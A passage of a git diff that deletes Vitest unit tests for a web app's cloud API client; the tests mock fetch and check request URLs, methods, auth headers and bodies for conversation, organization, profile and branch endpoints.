"#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("AgentServerConversationService cloud branch", () => { - it("createConversation POSTs the cloud payload directly and returns a WORKING task", async () => { - fetchMock.mockResolvedValue( - mockJsonResponse({ - id: "task-123", - created_by_user_id: null, - status: "WORKING", - detail: null, - app_conversation_id: null, - agent_server_url: null, - request: {}, - created_at: "2026-05-06T00:00:00Z", - updated_at: "2026-05-06T00:00:00Z", - }), - ); - - const result = await AgentServerConversationService.createConversation( - "fix the bug", - "Optional title", - undefined, - { - selected_repository: "user/repo", - selected_branch: "main", - // eslint-disable-next-line @typescript-eslint/no-explicit-any - git_provider: "github" as any, - }, - ); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - const requestBody = getJsonBody(init); - - // cloud payload shape — flat fields, NO encrypted-settings round-trip. - expect(requestBody.selected_repository).toBe("user/repo"); - expect(requestBody.selected_branch).toBe("main"); - expect(requestBody.git_provider).toBe("github"); - expect(requestBody.title).toBe("Optional title"); - expect(requestBody.initial_message).toEqual({ - role: "user", - content: [{ type: "text", text: "fix the bug" }], - }); - // The local-only encrypted-settings keys must NOT be present. - expect(requestBody).not.toHaveProperty("agent_settings_encrypted"); - expect(requestBody).not.toHaveProperty("conversation_settings_encrypted"); - - // The returned task is the upstream task — WORKING, no app_conversation_id yet. - expect(result.id).toBe("task-123"); - expect(result.status).toBe("WORKING"); - expect(result.app_conversation_id).toBeNull(); - }); - - it("getStartTask polls /api/v1/app-conversations/start-tasks?ids= directly", async () => { - fetchMock.mockResolvedValue( - mockJsonResponse([ - { - id: "task-123", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-456", - agent_server_url: "https://runtime-456.app.all-hands.dev", - request: {}, - created_at: "2026-05-06T00:00:00Z", - updated_at: "2026-05-06T00:00:00Z", - }, - ]), - ); - - const result = - await AgentServerConversationService.getStartTask("task-123"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe( - `${cloudBackend.host}/api/v1/app-conversations/start-tasks?ids=task-123`, - ); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(result?.status).toBe("READY"); - expect(result?.app_conversation_id).toBe("conv-456"); - }); -}); diff --git a/__tests__/api/cloud/conversation-delete.test.ts b/__tests__/api/cloud/conversation-delete.test.ts deleted file mode 100644 index b5712095b..000000000 --- a/__tests__/api/cloud/conversation-delete.test.ts +++ /dev/null @@ -1,51 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({ success: true })); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("AgentServerConversationService.deleteConversation cloud branch", () => { - it("calls the cloud DELETE app-conversations endpoint directly", async () => { - await AgentServerConversationService.deleteConversation("conv-abc"); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`); - expect(init).toMatchObject({ - method: "DELETE", - headers: { Authorization: "Bearer bearer-token" }, - }); - }); -}); diff --git a/__tests__/api/cloud/conversation-download.test.ts b/__tests__/api/cloud/conversation-download.test.ts deleted file mode 100644 index b82dd8e35..000000000 --- a/__tests__/api/cloud/conversation-download.test.ts +++ /dev/null @@ -1,63 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - getFetchCall, - mockBlobResponse, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({})); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("AgentServerConversationService.downloadConversation cloud branch", () => { - it("calls the cloud download endpoint directly with responseType blob and returns the Blob", async () => { - fetchMock.mockResolvedValueOnce( - mockBlobResponse("zip-bytes", "application/zip"), - ); - - const result = - await AgentServerConversationService.downloadConversation("conv-abc"); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe( - `${cloudBackend.host}/api/v1/app-conversations/conv-abc/download`, - ); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - await expect(result.text()).resolves.toBe("zip-bytes"); - }); -}); diff --git a/__tests__/api/cloud/conversation-pause.test.ts b/__tests__/api/cloud/conversation-pause.test.ts deleted file mode 100644 index 81494f2e9..000000000 --- a/__tests__/api/cloud/conversation-pause.test.ts +++ /dev/null @@ -1,93 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { pauseConversation } from "#/hooks/mutation/conversation-mutation-utils"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const buildConversation = ( - overrides: Partial = {}, -): AppConversation => ({ - id: "conv-abc", - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2026-04-16T00:00:00Z", - updated_at: "2026-04-16T00:00:00Z", - execution_status: ExecutionStatus.RUNNING, - conversation_url: null, - session_api_key: null, - sandbox_id: "sandbox-xyz", - sub_conversation_ids: [], - ...overrides, -}); - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({ success: true })); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; - vi.restoreAllMocks(); -}); - -describe("pauseConversation cloud branch", () => { - it("POSTs directly to the cloud sandbox pause endpoint", async () => { - vi.spyOn( - AgentServerConversationService, - "batchGetAppConversations", - ).mockResolvedValue([buildConversation({ sandbox_id: "sandbox-xyz" })]); - - await pauseConversation("conv-abc"); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/sandboxes/sandbox-xyz/pause`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - }); - - it("throws and does not call the cloud API when the cloud conversation has no sandbox_id", async () => { - vi.spyOn( - AgentServerConversationService, - "batchGetAppConversations", - ).mockResolvedValue([buildConversation({ sandbox_id: null })]); - - await expect(pauseConversation("conv-abc")).rejects.toThrow(/sandbox_id/); - expect(fetchMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/cloud/conversation-public-flag.test.ts b/__tests__/api/cloud/conversation-public-flag.test.ts deleted file mode 100644 index c43fb7654..000000000 --- a/__tests__/api/cloud/conversation-public-flag.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - fetchMock.mockResolvedValue( - mockJsonResponse({ id: "conv-abc", public: true }), - ); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("AgentServerConversationService.updateConversationPublicFlag", () => { - it("PATCHes /api/v1/app-conversations/{id} directly on a cloud backend", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - await AgentServerConversationService.updateConversationPublicFlag( - "conv-abc", - true, - ); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`); - expect(init).toMatchObject({ - method: "PATCH", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toEqual({ public: true }); - }); - - it("rejects without calling the cloud API when the active backend is local", async () => { - // Default state after reset is the bundled local backend. - await expect( - AgentServerConversationService.updateConversationPublicFlag( - "conv-abc", - true, - ), - ).rejects.toThrow(/cloud backend/); - expect(fetchMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/cloud/conversation-runtime-info.test.ts b/__tests__/api/cloud/conversation-runtime-info.test.ts deleted file mode 100644 index aab59939f..000000000 --- a/__tests__/api/cloud/conversation-runtime-info.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const localBackend: Backend = { - id: "self-hosted", - name: "Self-hosted", - host: "http://192.168.1.99:9999", - apiKey: "local-key", - kind: "local", -}; - -const runtimeResponse = { - id: "conv-abc", - title: "Test conversation", - created_at: "2026-04-16T00:00:00Z", - updated_at: "2026-04-16T00:00:00Z", - execution_status: "idle", - metrics: null, - stats: { - usage_to_metrics: { - agent: { - model_name: "test-model", - accumulated_cost: 1.23, - max_budget_per_task: null, - accumulated_token_usage: null, - costs: [], - response_latencies: [], - token_usages: [], - }, - }, - }, -}; - -const fetchMock = vi.fn(); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - vi.unstubAllGlobals(); - vi.restoreAllMocks(); -}); - -describe("AgentServerConversationService.getRuntimeConversation", () => { - describe("cloud mode", () => { - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - vi.stubGlobal("fetch", fetchMock); - }); - - it("routes through /api/cloud-proxy targeting the conversation runtime host", async () => { - // Arrange - fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse)); - const conversationUrl = - "http://abc123.runtime.all-hands.dev/api/conversations/conv-abc"; - - // Act - const result = - await AgentServerConversationService.getRuntimeConversation( - "conv-abc", - conversationUrl, - "session-xyz", - ); - - // Assert - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - const body = getJsonBody(init); - expect(url).toMatch(/\/api\/cloud-proxy$/); - expect(body).toMatchObject({ - host: "http://abc123.runtime.all-hands.dev", - method: "GET", - path: "/api/conversations/conv-abc", - headers: { "X-Session-API-Key": "session-xyz" }, - }); - expect(result.stats.usage_to_metrics.agent?.accumulated_cost).toBe(1.23); - }); - }); - - describe("local mode", () => { - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - fetchMock.mockReset(); - vi.stubGlobal("fetch", fetchMock); - }); - - it("targets the conversation_url host (not the active backend host) and forwards X-Session-API-Key", async () => { - // Arrange - fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse)); - const conversationUrl = - "http://192.168.1.42:8888/api/conversations/conv-abc"; - - // Act - const result = - await AgentServerConversationService.getRuntimeConversation( - "conv-abc", - conversationUrl, - "session-xyz", - ); - - // Assert - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = getFetchCall(fetchMock); - expect(url).toContain("192.168.1.42:8888"); - expect(url).not.toContain(localBackend.host); - expect(init.headers).toMatchObject({ - "X-Session-API-Key": "session-xyz", - }); - expect(result.id).toBe("conv-abc"); - }); - }); -}); diff --git a/__tests__/api/cloud/fetch-test-utils.ts b/__tests__/api/cloud/fetch-test-utils.ts deleted file mode 100644 index 5ff84e87f..000000000 --- a/__tests__/api/cloud/fetch-test-utils.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { vi } from "vitest"; - -type FetchMock = ReturnType; - -export function mockJsonResponse(data: unknown, status = 200): Response { - return new Response(JSON.stringify(data), { - status, - statusText: status === 200 ? "OK" : "Error", - headers: { "content-type": "application/json" }, - }); -} - -export function mockBlobResponse( - body: BodyInit, - contentType: string, -): Response { - return new Response(body, { - status: 200, - headers: { "content-type": contentType }, - }); -} - -export function getFetchCall( - fetchMock: FetchMock, - index = 0, -): [string, RequestInit] { - const [url, init] = fetchMock.mock.calls[index] as [string, RequestInit]; - return [url, init ?? {}]; -} - -export function getJsonBody(init: RequestInit): Record { - return JSON.parse(String(init.body ?? "{}")) as Record; -} diff --git a/__tests__/api/cloud/git-service.test.ts b/__tests__/api/cloud/git-service.test.ts deleted file mode 100644 index e094f7c0c..000000000 --- a/__tests__/api/cloud/git-service.test.ts +++ /dev/null @@ -1,69 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { getCloudRepositoryBranches } from "#/api/cloud/git-service.api"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const emptyBranchPage = { items: [], next_page_id: null }; -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse(emptyBranchPage)); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("getCloudRepositoryBranches", () => { - it("includes an empty query parameter when listing all branches so the upstream schema is satisfied", async () => { - // Act - await getCloudRepositoryBranches({ - provider: "github", - repository: "hieptl/hieptl", - }); - - // Assert - const [url, init] = getFetchCall(fetchMock); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(url).toMatch(/[?&]query=(&|$)/); - }); - - it("forwards a non-empty query parameter when searching branches", async () => { - // Act - await getCloudRepositoryBranches({ - provider: "github", - repository: "hieptl/hieptl", - query: "feature/login", - }); - - // Assert - const [url] = getFetchCall(fetchMock); - expect(url).toContain("query=feature%2Flogin"); - }); -}); diff --git a/__tests__/api/cloud/organization-me.test.ts b/__tests__/api/cloud/organization-me.test.ts deleted file mode 100644 index 313028c2f..000000000 --- a/__tests__/api/cloud/organization-me.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { getCloudOrganizationMe } from "#/api/cloud/organization-service.api"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("cloud organization /me", () => { - it("calls /api/organizations/{orgId}/me directly and returns user_id", async () => { - const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270"; - fetchMock.mockResolvedValue( - mockJsonResponse({ - org_id: orgId, - user_id: orgId, - email: "hieptl.developer@gmail.com", - role: "owner", - permissions: ["view_org_settings", "edit_org_settings"], - }), - ); - - const result = await getCloudOrganizationMe(orgId); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/organizations/${orgId}/me`); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(result).toEqual({ - orgId, - userId: orgId, - role: "owner", - permissions: ["view_org_settings", "edit_org_settings"], - }); - }); - - it("returns null permissions when the app-server omits them (older version)", async () => { - const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270"; - fetchMock.mockResolvedValue( - mockJsonResponse({ - org_id: orgId, - user_id: orgId, - email: "x@example.com", - role: "member", - }), - ); - - const result = await getCloudOrganizationMe(orgId); - - // Absent `permissions` → null, so callers fall back to the role check. - expect(result).toEqual({ - orgId, - userId: orgId, - role: "member", - permissions: null, - }); - }); -}); diff --git a/__tests__/api/cloud/organization-service.test.ts b/__tests__/api/cloud/organization-service.test.ts deleted file mode 100644 index 6f6690d49..000000000 --- a/__tests__/api/cloud/organization-service.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { HttpError } from "@openhands/typescript-client"; -import { - __resetActiveStoreForTests, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { - getCloudOrganizations, - getCurrentCloudApiKey, -} from "#/api/cloud/organization-service.api"; -import type { Backend } from "#/api/backend-registry/types"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -function mockJsonResponse(data: unknown, status = 200): Response { - return new Response(JSON.stringify(data), { - status, - statusText: status === 200 ? "OK" : "Error", - headers: { "content-type": "application/json" }, - }); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([]); - fetchMock.mockReset(); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("cloud organization-service", () => { - it("getCloudOrganizations calls the cloud API directly and returns normalized data", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - items: [{ id: "org-1", name: "Personal" }], - current_org_id: "org-1", - }), - ); - - const result = await getCloudOrganizations(cloudBackend); - - expect(fetchMock).toHaveBeenCalledOnce(); - const [url, init] = fetchMock.mock.calls[0]!; - - expect(url).toBe(`${cloudBackend.host}/api/organizations`); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - - expect(result).toEqual({ - items: [{ id: "org-1", name: "Personal" }], - currentOrgId: "org-1", - }); - }); - - it("getCurrentCloudApiKey hits /api/keys/current and returns the bound orgId", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - id: "key-1", - name: "k", - org_id: "org-bound", - user_id: "user-1", - auth_type: "bearer", - }), - ); - - const result = await getCurrentCloudApiKey(cloudBackend); - - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toBe(`${cloudBackend.host}/api/keys/current`); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(result).toEqual({ orgId: "org-bound", isLegacyKey: false }); - }); - - it("getCurrentCloudApiKey treats an upstream 400 as a legacy key (no binding)", async () => { - fetchMock.mockResolvedValueOnce(mockJsonResponse({ detail: "bad" }, 400)); - - const result = await getCurrentCloudApiKey(cloudBackend); - - expect(result).toEqual({ orgId: null, isLegacyKey: true }); - }); - - it("getCurrentCloudApiKey rethrows non-400 upstream errors (e.g. revoked key)", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ detail: "unauthorized" }, 401), - ); - - await expect(getCurrentCloudApiKey(cloudBackend)).rejects.toBeInstanceOf( - HttpError, - ); - }); -}); diff --git a/__tests__/api/cloud/profiles-service.test.ts b/__tests__/api/cloud/profiles-service.test.ts deleted file mode 100644 index db7d058ac..000000000 --- a/__tests__/api/cloud/profiles-service.test.ts +++ /dev/null @@ -1,217 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import ProfilesService, { - type SaveProfileRequest, -} from "#/api/profiles-service/profiles-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const ORG_ID = "org-1"; -const ORG_BASE = `https://app.all-hands.dev/api/organizations/${ORG_ID}/profiles`; -const SETTINGS_BASE = "https://app.all-hands.dev/api/v1/settings/profiles"; -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({})); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -// With an org bound, profile CRUD goes through the org-gated routes so the -// server enforces EDIT_ORG_SETTINGS (a member's mutation 403s, not just hidden). -describe("ProfilesService against a cloud org (gated org routes)", () => { - beforeEach(() => { - setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID }); - }); - - it("lists profiles via GET /api/organizations/{orgId}/profiles", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - profiles: [ - { name: "gpt", model: "gpt-4o", base_url: null, api_key_set: true }, - ], - active_profile: "gpt", - }), - ); - - const res = await ProfilesService.listProfiles(); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(ORG_BASE); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(res.active_profile).toBe("gpt"); - }); - - it("fetches a profile and maps the org `llm` onto `config`", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - name: "my profile", - llm: { model: "gpt-4o", api_key: null }, - }), - ); - - const res = await ProfilesService.getProfile("my profile"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${ORG_BASE}/my%20profile`); - expect(init).toMatchObject({ - method: "GET", - }); - expect(res).toEqual({ - name: "my profile", - config: { model: "gpt-4o", api_key: null }, - api_key_set: false, - }); - }); - - it("saves a profile via POST .../{name} forwarding the request body", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ name: "gpt", message: "Profile 'gpt' saved" }), - ); - - await ProfilesService.saveProfile("gpt", { - llm: { model: "gpt-4o" } as SaveProfileRequest["llm"], - include_secrets: true, - }); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${ORG_BASE}/gpt`); - expect(init).toMatchObject({ - method: "POST", - }); - expect(getJsonBody(init)).toEqual({ - llm: { model: "gpt-4o" }, - include_secrets: true, - }); - }); - - it("deletes a profile via DELETE .../{name}", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ name: "gpt", message: "Profile 'gpt' deleted" }), - ); - - await ProfilesService.deleteProfile("gpt"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${ORG_BASE}/gpt`); - expect(init).toMatchObject({ method: "DELETE" }); - }); - - it("renames a profile via POST .../{name}/rename with new_name", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ name: "new", message: "renamed" }), - ); - - await ProfilesService.renameProfile("old", "new"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${ORG_BASE}/old/rename`); - expect(init).toMatchObject({ - method: "POST", - }); - expect(getJsonBody(init)).toEqual({ new_name: "new" }); - }); - - it("activates a profile and maps the org `llm` onto `llm_applied`", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - name: "gpt", - message: "Switched to profile 'gpt'", - llm: { model: "gpt-4o" }, - }), - ); - - const res = await ProfilesService.activateProfile("gpt"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${ORG_BASE}/gpt/activate`); - expect(init).toMatchObject({ - method: "POST", - }); - expect(res).toEqual({ - name: "gpt", - message: "Switched to profile 'gpt'", - llm_applied: true, - }); - }); -}); - -// Legacy API keys have no org bound; CRUD falls back to the per-user settings -// route (ungated — there is no org role to enforce against). -describe("ProfilesService on a cloud backend with no org (fallback)", () => { - beforeEach(() => { - setActiveSelection({ backendId: cloudBackend.id }); - }); - - it("lists via the per-user settings route", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ profiles: [], active_profile: null }), - ); - - await ProfilesService.listProfiles(); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(SETTINGS_BASE); - expect(init).toMatchObject({ method: "GET" }); - }); - - it("saves via the per-user settings route", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ name: "gpt", message: "saved" }), - ); - - await ProfilesService.saveProfile("gpt", { - llm: { model: "gpt-4o" } as SaveProfileRequest["llm"], - include_secrets: true, - }); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${SETTINGS_BASE}/gpt`); - expect(init).toMatchObject({ method: "POST" }); - }); - - it("activates via the per-user settings route and maps `model`", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ name: "gpt", message: "ok", model: "gpt-4o" }), - ); - - const res = await ProfilesService.activateProfile("gpt"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${SETTINGS_BASE}/gpt/activate`); - expect(init).toMatchObject({ - method: "POST", - }); - expect(res.llm_applied).toBe(true); - }); -}); diff --git a/__tests__/api/cloud/proxy.test.ts b/__tests__/api/cloud/proxy.test.ts deleted file mode 100644 index 8a3cb0961..000000000 --- a/__tests__/api/cloud/proxy.test.ts +++ /dev/null @@ -1,272 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import type { Backend } from "#/api/backend-registry/types"; - -const cloudPersonal: Backend = { - id: "cloud-personal", - name: "Production - Personal", - host: "https://app.all-hands.dev", - apiKey: "personal-key", - kind: "cloud", -}; - -const cloudAcme: Backend = { - 